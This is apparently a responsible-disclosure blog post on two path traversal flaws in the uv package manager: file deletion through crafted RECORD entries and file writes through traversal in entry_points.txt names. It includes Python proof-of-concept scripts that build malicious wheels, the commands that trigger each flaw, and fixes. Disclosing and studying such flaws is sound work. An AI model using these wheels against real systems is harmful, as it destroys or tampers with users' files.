Post

uv Path Traversal Findings: Arbitrary Delete and Write

uv Path Traversal Findings: Arbitrary Delete and Write

I found these issues with the help of AI while reviewing uv wheel install/uninstall flows.

I contacted the maintainers about these findings two months ago (March 2026).

This post covers two related path traversal issues:

  1. Arbitrary file deletion via RECORD traversal during uninstall
  2. Entrypoint script path traversal via malicious entry_points.txt

Finding 1: Arbitrary File Deletion via RECORD Path Traversal

uv trusts file paths listed in .dist-info/RECORD during uninstall and deletes them without validating they stay within the expected environment root (such as site-packages).

A malicious wheel can include traversal entries (for example ../../...) in RECORD. During uv pip uninstall, this can delete files outside the virtual environment.

Impact

  • Arbitrary file deletion with the permissions of the user running uv
  • Deletion of files outside the virtual environment
  • Reachable through normal workflow:
    • uv pip install
    • uv pip uninstall

Root Cause

Uninstall flow:

  1. uv reads paths from .dist-info/RECORD
  2. Paths are joined with site-packages
  3. Resulting paths are deleted

Missing guards:

  • No rejection of .. traversal components in RECORD entries
  • No robust containment check after path resolution
  • Untrusted path input is used directly in file operations

Code References

RECORD parsing strips leading / but does not enforce containment:

  • uv/crates/uv-install-wheel/src/wheel.rs:796
  • uv/crates/uv-install-wheel/src/wheel.rs:806
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/// Reads the record file
/// <https://www.python.org/dev/peps/pep-0376/#record>
pub fn read_record_file(record: &mut impl Read) -> Result<Vec<RecordEntry>, Error> {
    csv::ReaderBuilder::new()
        .has_headers(false)
        .escape(Some(b'"'))
        .from_reader(record)
        .deserialize()
        .map(|entry| {
            let entry: RecordEntry = entry?;
            Ok(RecordEntry {
                // selenium uses absolute paths for some reason
                path: entry.path.trim_start_matches('/').to_string(),
                ..entry
            })
        })
        .collect()
}

Uninstall joins untrusted path and attempts deletion:

  • uv/crates/uv-install-wheel/src/uninstall.rs:41
  • uv/crates/uv-install-wheel/src/uninstall.rs:68
  • uv/crates/uv-install-wheel/src/uninstall.rs:77
1
2
3
4
5
6
let path = site_packages.join(&entry.path);

match fs_err::remove_file(&path) {
    Ok(()) => { /* ... */ }
    Err(err) if err.kind() == std::io::ErrorKind::NotFound => {}
    Err(err) => match fs_err::remove_dir_all(&path) {

Reachable from normal uninstall path:

  • uv/crates/uv/src/commands/pip/operations.rs:802
  • uv/crates/uv-installer/src/uninstall.rs:10

Proof of Concept

Create test workspace and venv:

1
2
3
mkdir /tmp/uv-poc
cd /tmp/uv-poc
uv venv venv

Create victim file:

1
echo "do not delete" > /tmp/uv-poc/victim.txt

Get site-packages path:

1
venv/bin/python -c "import sysconfig; print(sysconfig.get_paths()['purelib'])"

Calculate traversal path from site-packages to victim:

1
python3 -c "import os; print(os.path.relpath('/tmp/uv-poc/victim.txt', '<SITE_PACKAGES_PATH>'))"

Build malicious wheel and replace <REL_PATH> with output above:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
python3 - <<'PY'
import zipfile

rel = "<REL_PATH>"
wheel = "evil-0.1.0-py3-none-any.whl"
dist = "evil-0.1.0.dist-info"

with zipfile.ZipFile(wheel, "w") as z:
    z.writestr("evil.py", "")
    z.writestr(f"{dist}/METADATA", "Metadata-Version: 2.1\nName: evil\nVersion: 0.1.0\n")
    z.writestr(f"{dist}/WHEEL", "Wheel-Version: 1.0\nTag: py3-none-any\n")
    z.writestr(f"{dist}/RECORD",
        "evil.py,,\n"
        f"{dist}/METADATA,,\n"
        f"{dist}/WHEEL,,\n"
        f"{dist}/RECORD,,\n"
        f"{rel},,\n"
    )
PY

Install then uninstall:

1
2
uv pip install --python /tmp/uv-poc/venv/bin/python evil-0.1.0-py3-none-any.whl
uv pip uninstall --python /tmp/uv-poc/venv/bin/python evil

Check victim file:

1
ls /tmp/uv-poc/victim.txt

Vulnerable result:

1
No such file or directory

Finding 2: Entrypoint Script Path Traversal

A malicious wheel can include traversal sequences in entry_points.txt script names. If used directly when constructing script output paths, this can write files outside the intended scripts directory during installation.

Normal entry point:

1
2
[console_scripts]
ruff = ruff:main

Expected output:

1
<venv>/bin/ruff

Malicious entry point:

1
2
[console_scripts]
../../outside = pkg:main

If script names are joined as raw filesystem components, traversal escapes scripts directory.

Code References

  • Script names accepted from entry_points.txt without separator/traversal guard:
    • uv/crates/uv-install-wheel/src/script.rs:53
  • Script path built by joining script name into scripts directory:
    • uv/crates/uv-install-wheel/src/wheel.rs:175
  • Path later converted and written via joins without explicit destination containment check at these points:
    • uv/crates/uv-install-wheel/src/wheel.rs:210
    • uv/crates/uv-install-wheel/src/wheel.rs:710

Proof of Concept

  1. Create virtual environment:
1
2
3
mkdir -p /tmp/uv-poc
cd /tmp/uv-poc
uv venv venv
  1. Determine scripts directory:
1
venv/bin/python -c "import sysconfig; print(sysconfig.get_paths()['scripts'])"
  1. Ensure target file does not exist:
1
2
rm -f /tmp/uv-poc/entrypoint_victim.sh
ls /tmp/uv-poc/entrypoint_victim.sh
  1. Build malicious wheel:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
python3 - <<'PY'
import zipfile

wheel = "epevil-0.1.0-py3-none-any.whl"
dist = "epevil-0.1.0.dist-info"

entry_points = "[console_scripts]\n../../entrypoint_victim.sh = epevil:main\n"

with zipfile.ZipFile(wheel, "w") as z:
    z.writestr("epevil.py", "def main():\n    print('hello from epevil')\n")
    z.writestr(
        f"{dist}/METADATA",
        "Metadata-Version: 2.1\nName: epevil\nVersion: 0.1.0\n"
    )
    z.writestr(
        f"{dist}/WHEEL",
        "Wheel-Version: 1.0\nGenerator: poc\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    )
    z.writestr(f"{dist}/entry_points.txt", entry_points)
    z.writestr(
        f"{dist}/RECORD",
        "epevil.py,,\n"
        f"{dist}/METADATA,,\n"
        f"{dist}/WHEEL,,\n"
        f"{dist}/entry_points.txt,,\n"
        f"{dist}/RECORD,,\n"
    )
PY
  1. Confirm wheel exists:
1
ls epevil-0.1.0-py3-none-any.whl
  1. Install wheel:
1
uv pip install --python /tmp/uv-poc/venv/bin/python epevil-0.1.0-py3-none-any.whl

The number of ../ segments depends on filesystem layout. Using os.path.relpath(...) makes the traversal payload portable across machines.

Security Impact

These issues are dangerous because they trigger through normal package management operations and operate on filesystem paths, not just package metadata. Depending on user permissions and deployment context, impact may range from local data loss to tampering with operational scripts.

Mitigation Ideas

  • Canonicalize and validate all untrusted paths from wheel metadata before filesystem operations.
  • Enforce strict containment checks (resolved_path.starts_with(expected_root)) after resolution.
  • Reject traversal segments and path separators in script names.
  • Treat entry_points script names as logical identifiers, not path fragments.
  • Add regression tests that include malicious RECORD and entry_points.txt payloads.
This post is licensed under CC BY 4.0 by the author.